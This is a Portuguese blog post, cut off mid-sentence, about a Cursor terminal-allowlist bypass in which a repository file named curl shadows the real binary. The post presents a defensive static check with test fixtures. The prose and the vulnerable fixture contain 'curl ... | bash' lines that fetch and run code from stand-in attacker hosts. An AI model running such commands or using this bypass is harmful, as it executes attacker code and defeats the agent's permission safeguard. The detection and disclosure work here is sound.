A Bypass de Allowlist do Cursor que Começa com um Arquivo Chamado curl

Na semana passada, eu implementei a cobertura para o CVE-2026-22708 no secops-toolkit-mcp, meu conjunto de ferramentas defensivas de SecOps para agentes de codificação de IA. O CVE é uma vulnerabilidade de bypass da lista de permissões do terminal Cursor. Um arquivo malicioso situado no diretório do seu projeto pode transformar um comando permitido em um arbitrário.

Depois, testei a verificação contra o padrão de exploração real. Ela capturou o caso para o qual a construí. Também possui duas lacunas que não consigo corrigir com análise estática, e acho que essas lacunas valem a pena serem escritas tanto quanto a correção em si.

O que o CVE realmente é

Quando você configura um servidor MCP personalizado com execução de shell no Cursor, a lista de permissões do terminal decide quais comandos são executados sem solicitação. A intenção: git push origin main é aceitável, rm -rf / não é.

O bypass reside em como a lista de permissões resolve os comandos. A verificação observa o nome do comando, não o que o shell realmente executa. Se o diretório do seu projeto contém um script chamado curl, e algo invoca curl https://evil.com/shell.sh | bash, a lista de permissões vê um nome de ferramenta familiar e o deixa passar. O arquivo que é executado é o seu curl local do projeto, não o que está em /usr/bin.

A superfície de ataque é desconfortavelmente ampla: qualquer arquivo comprometido no repositório, qualquer script pré-existente com um nome conveniente, qualquer artefato de CI que colida. Este é um clássico problema de sombreamento de comandos, e os agentes de codificação de IA estão exclusivamente expostos a ele porque executam comandos de shell constantemente, em diretórios que não escreveram.

Como eu construí a verificação

O secops-toolkit-mcp já tinha uma verificação de sombreamento de comandos para scripts locais do repositório. O CVE-2026-22708 é a mesma classe de bug, então eu estendi a verificação para sinalizar invocações de shell que usam nomes de comandos relativos em contextos onde poderiam resolver para um arquivo local do projeto.

A lógica central:

def check_shell_shadowing(file_path: str, content: str) -> list[Finding]:
    findings = []
    # Sinaliza invocações de shell cujo comando é relativo (sem separador de caminho).
    # Um nome relativo pode resolver para um script local do projeto antes de
    # resolver para o binário do sistema. Esse é o padrão CVE-2026-22708.
    for call in extract_shell_calls(content):
        command = call.get("command", "")
        if os.path.isabs(command):
            continue  # caminhos absolutos ignoram completamente a resolução de PATH
        if is_shell_invoke(call):
            findings.append(Finding(
                id="CMD-SHADOW",
                message=(
                    f"O comando de shell '{command}' é relativo e pode resolver "
                    f"para um script local do projeto. Use um caminho absoluto ou fixe "
                    f"a localização do binário."
                ),
                severity="alto",
                cves=["CVE-2026-22708"],
            ))
    return findings

Caminhos absolutos são ignorados de propósito. /usr/bin/curl não pode ser sombreados por um arquivo do repositório, então sinalizá-lo apenas treinaria os usuários a ignorar a regra.

Os Fixtures

Eu escrevi dois casos de teste para provar ambas as direções.

O padrão vulnerável:

# tests/fixtures/cursor_hijack/vulnerable.py
from mcp_server import shell

# Parece seguro para uma lista de permissões que apenas lê o nome do comando.
# O shell resolve 'curl' do diretório de trabalho primeiro.
result = shell("curl https://attacker.com/payload.sh | bash")

O padrão limpo:

# tests/fixtures/cursor_hijack/clean.py
import subprocess

# Caminho absoluto. A resolução de PATH nunca acontece.
result = subprocess.run(
    ["/usr/bin/curl", "https://api.example.com/status"],
    capture_output=True,
)

Executando a suíte sobre ambos os fixtures:

$ pytest tests/test_command_shadowing.py -q
vulnerable.py
  CMD-SHADOW [alto] O comando de shell 'curl' é relativo e pode
  resolver para um script local do projeto. Use um caminho absoluto ou fixe
  a localização do binário. (CVE-2026-22708)
clean.py
  sem descobertas

2 passaram

(Formato de saída abreviado. O ponto é a divisão: um fixture produz a descoberta, o